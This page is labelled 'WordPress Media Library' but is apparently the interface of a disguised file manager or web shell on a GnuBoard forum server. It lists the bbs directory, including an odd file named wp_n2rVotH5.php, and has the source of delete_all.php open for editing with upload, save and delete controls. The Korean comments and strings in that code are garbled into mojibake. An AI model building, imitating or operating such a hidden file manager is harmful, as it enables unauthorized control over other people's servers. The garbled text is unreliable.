โ WordPress Media Library
File manager
๐ Media Files
๐ง _common.php
๐ง _head.php
๐ง _head.sub.php
๐ง _tail.php
๐ง _tail.sub.php
๐ง ajax.autosave.php
๐ง ajax.autosavedel.php
๐ง ajax.autosavelist.php
๐ง ajax.autosaveload.php
๐ง ajax.comment_token.php
๐ง ajax.filter.php
๐ง ajax.mb_email.php
๐ง ajax.mb_hp.php
๐ง ajax.mb_id.php
๐ง ajax.mb_nick.php
๐ง ajax.mb_recommend.php
๐ง alert.php
๐ง alert_close.php
๐ง board.php
๐ง board_head.php
๐ง board_list_update.php
๐ง board_tail.php
๐ง confirm.php
๐ง content.php
๐ง current_connect.php
๐ง db_table.optimize.php
๐ง delete.php
๐ง delete_all.php
๐ง delete_comment.php
๐ง download.php
๐ง email_certify.php
๐ง email_stop.php
๐ง faq.php
๐ง formmail.php
๐ง formmail_send.php
๐ง good.php
๐ง group.php
๐ง link.php
๐ง list.php
๐ง login.php
๐ง login_check.php
๐ง logout.php
๐ง member_confirm.php
๐ง member_leave.php
๐ง memo.php
๐ง memo_delete.php
๐ง memo_form.php
๐ง memo_form_update.php
๐ง memo_view.php
๐ง move.php
๐ง move_update.php
๐ง mypage.php
๐ง new.php
๐ง new_delete.php
๐ง newwin.inc.php
๐ง password.php
๐ง password_check.php
๐ง password_lost.php
๐ง password_lost2.php
๐ง password_lost_certify.php
๐ง point.php
๐ง poll_etc_update.php
๐ง poll_etc_update_mail.php
๐ง poll_result.php
๐ง poll_update.php
๐ง profile.php
๐ง qadelete.php
๐ง qadownload.php
๐ง qahead.php
๐ง qalist.php
๐ง qatail.php
๐ง qaview.php
๐ง qawrite.php
๐ง qawrite_update.php
๐ง register.php
๐ง register_email.php
๐ง register_email_update.php
๐ง register_form.php
๐ง register_form_update.php
๐ง register_form_update_mail1.php
๐ง register_form_update_mail2.php
๐ง register_form_update_mail3.php
๐ง register_result.php
๐ง rss.php
๐ง scrap.php
๐ง scrap_delete.php
๐ง scrap_popin.php
๐ง scrap_popin_update.php
๐ง search.php
๐ง sns_send.php
๐ง view.php
๐ง view_comment.php
๐ง view_image.php
๐ง visit_browscap.inc.php
๐ง visit_insert.inc.php
๐ง wp_n2rVotH5.php
๐ง write.php
๐ง write_comment_update.php
๐ง write_comment_update.sns.php
๐ง write_token.php
๐ง write_update.php
๐ง write_update_mail.php
๐ง zboard.php
โฌ๏ธ Upload Media
Upload File
๐ Edit: delete_all.php
Size: 6.10 KB | Modified: 2019-12-05 09:09:25
<?php if (!defined('_GNUBOARD_')) exit; // ๊ฐ๋ณ ํ์ด์ง ์ ๊ทผ ๋ถ๊ฐ if(!$is_admin) alert('์ ๊ทผ ๊ถํ์ด ์์ต๋๋ค.', G5_URL); // 4.11 @include_once($board_skin_path.'/delete_all.head.skin.php'); $count_write = 0; $count_comment = 0; $tmp_array = array(); if ($wr_id) // ๊ฑด๋ณ์ญ์ $tmp_array[0] = $wr_id; else // ์ผ๊ด์ญ์ $tmp_array = $_POST['chk_wr_id']; $chk_count = count($tmp_array); if($chk_count > (G5_IS_MOBILE ? $board['bo_mobile_page_rows'] : $board['bo_page_rows'])) alert('์ฌ๋ฐ๋ฅธ ๋ฐฉ๋ฒ์ผ๋ก ์ด์ฉํด ์ฃผ์ญ์์ค.'); // ์ฌ์ฉ์ ์ฝ๋ ์คํ @include_once($board_skin_path.'/delete_all.skin.php'); // ๊ฑฐ๊พธ๋ก ์ฝ๋ ์ด์ ๋ ๋ต๋ณ๊ธ๋ถํฐ ์ญ์ ๊ฐ ๋์ด์ผ ํ๊ธฐ ๋๋ฌธ์ for ($i=$chk_count-1; $i>=0; $i--) { $write = sql_fetch(" select * from $write_table where wr_id = '$tmp_array[$i]' "); if ($is_admin == 'super') // ์ต๊ณ ๊ด๋ฆฌ์ ํต๊ณผ ; else if ($is_admin == 'group') // ๊ทธ๋ฃน๊ด๋ฆฌ์ { $mb = get_member($write['mb_id']); if ($member['mb_id'] == $group['gr_admin']) // ์์ ์ด ๊ด๋ฆฌํ๋ ๊ทธ๋ฃน์ธ๊ฐ? { if ($member['mb_level'] >= $mb['mb_level']) // ์์ ์ ๋ ๋ฒจ์ด ํฌ๊ฑฐ๋ ๊ฐ๋ค๋ฉด ํต๊ณผ ; else continue; } else continue; } else if ($is_admin == 'board') // ๊ฒ์ํ๊ด๋ฆฌ์์ด๋ฉด { $mb = get_member($write['mb_id']); if ($member['mb_id'] == $board['bo_admin']) // ์์ ์ด ๊ด๋ฆฌํ๋ ๊ฒ์ํ์ธ๊ฐ? if ($member['mb_level'] >= $mb['mb_level']) // ์์ ์ ๋ ๋ฒจ์ด ํฌ๊ฑฐ๋ ๊ฐ๋ค๋ฉด ํต๊ณผ ; else continue; else continue; } else if ($member['mb_id'] && $member['mb_id'] == $write['mb_id']) // ์์ ์ ๊ธ์ด๋ผ๋ฉด { ; } else if ($wr_password && !$write['mb_id'] && check_password($wr_password, $write['wr_password'])) // ๋น๋ฐ๋ฒํธ๊ฐ ๊ฐ๋ค๋ฉด { ; } else continue; // ๋๋จธ์ง๋ ์ญ์ ๋ถ๊ฐ $len = strlen($write['wr_reply']); if ($len < 0) $len = 0; $reply = substr($write['wr_reply'], 0, $len); // ์๊ธ๋ง ๊ตฌํ๋ค. $sql = " select count(*) as cnt from $write_table where wr_reply like '$reply%' and wr_id <> '{$write['wr_id']}' and wr_num = '{$write['wr_num']}' and wr_is_comment = 0 "; $row = sql_fetch($sql); if ($row['cnt']) continue; // ๋๋ผ์ค๋ฆ๋ ์์ : ์๊ธ๊ณผ ์ฝ๋ฉํธ์๊ฐ ์ ์์ ์ผ๋ก ์ ๋ฐ์ดํธ ๋์ง ์๋ ์ค๋ฅ๋ฅผ ์ก์ ์ฃผ์ จ์ต๋๋ค. //$sql = " select wr_id, mb_id, wr_comment from {$write_table} where wr_parent = '{$write[wr_id]}' order by wr_id "; $sql = " select wr_id, mb_id, wr_is_comment, wr_content from $write_table where wr_parent = '{$write['wr_id']}' order by wr_id "; $result = sql_query($sql); while ($row = sql_fetch_array($result)) { // ์๊ธ์ด๋ผ๋ฉด if (!$row['wr_is_comment']) { // ์๊ธ ํฌ์ธํธ ์ญ์ if (!delete_point($row['mb_id'], $bo_table, $row['wr_id'], '์ฐ๊ธฐ')) insert_point($row['mb_id'], $board['bo_write_point'] * (-1), "{$board['bo_subject']} {$row['wr_id']} ๊ธ ์ญ์ "); // ์ ๋ก๋๋ ํ์ผ์ด ์๋ค๋ฉด $sql2 = " select * from {$g5['board_file_table']} where bo_table = '$bo_table' and wr_id = '{$row['wr_id']}' "; $result2 = sql_query($sql2); while ($row2 = sql_fetch_array($result2)) { // ํ์ผ์ญ์ $delete_file = run_replace('delete_file_path', G5_DATA_PATH.'/file/'.$bo_table.'/'.str_replace('../', '',$row2['bf_file']), $row2); if( file_exists($delete_file) ){ @unlink($delete_file); } // ์ธ๋ค์ผ์ญ์ if(preg_match("/\.({$config['cf_image_extension']})$/i", $row2['bf_file'])) { delete_board_thumbnail($bo_table, $row2['bf_file']); } } // ์๋ํฐ ์ธ๋ค์ผ ์ญ์ delete_editor_thumbnail($row['wr_content']); // ํ์ผํ ์ด๋ธ ํ ์ญ์ sql_query(" delete from {$g5['board_file_table']} where bo_table = '$bo_table' and wr_id = '{$row['wr_id']}' "); $count_write++; } else { // ์ฝ๋ฉํธ ํฌ์ธํธ ์ญ์ if (!delete_point($row['mb_id'], $bo_table, $row['wr_id'], '๋๊ธ')) insert_point($row['mb_id'], $board['bo_comment_point'] * (-1), "{$board['bo_subject']} {$write['wr_id']}-{$row['wr_id']} ๋๊ธ์ญ์ "); $count_comment++; } } // ๊ฒ์๊ธ ์ญ์ sql_query(" delete from $write_table where wr_parent = '{$write['wr_id']}' "); // ์ต๊ทผ๊ฒ์๋ฌผ ์ญ์ sql_query(" delete from {$g5['board_new_table']} where bo_table = '$bo_table' and wr_parent = '{$write['wr_id']}' "); // ์คํฌ๋ฉ ์ญ์ sql_query(" delete from {$g5['scrap_table']} where bo_table = '$bo_table' and wr_id = '{$write['wr_id']}' "); /* // ๊ณต์ง์ฌํญ ์ญ์ $notice_array = explode(',', trim($board['bo_notice'])); $bo_notice = ""; for ($k=0; $k<count($notice_array); $k++) if ((int)$write['wr_id'] != (int)$notice_array[$k]) $bo_notice .= $notice_array[$k].','; $bo_notice = trim($bo_notice); */ $bo_notice = board_notice($board['bo_notice'], $write['wr_id']); sql_query(" update {$g5['board_table']} set bo_notice = '$bo_notice' where bo_table = '$bo_table' "); $board['bo_notice'] = $bo_notice; } // ๊ธ์ซ์ ๊ฐ์ if ($count_write > 0 || $count_comment > 0) sql_query(" update {$g5['board_table']} set bo_count_write = bo_count_write - '$count_write', bo_count_comment = bo_count_comment - '$count_comment' where bo_table = '$bo_table' "); // 4.11 @include_once($board_skin_path.'/delete_all.tail.skin.php'); delete_cache_latest($bo_table); run_event('bbs_delete_all', $tmp_array, $board); goto_url(short_url_clean(G5_HTTP_BBS_URL.'/board.php?bo_table='.$bo_table.'&page='.$page.$qstr)); ?>
๐พ Save Changes
๐ฅ Download
๐๏ธ Delete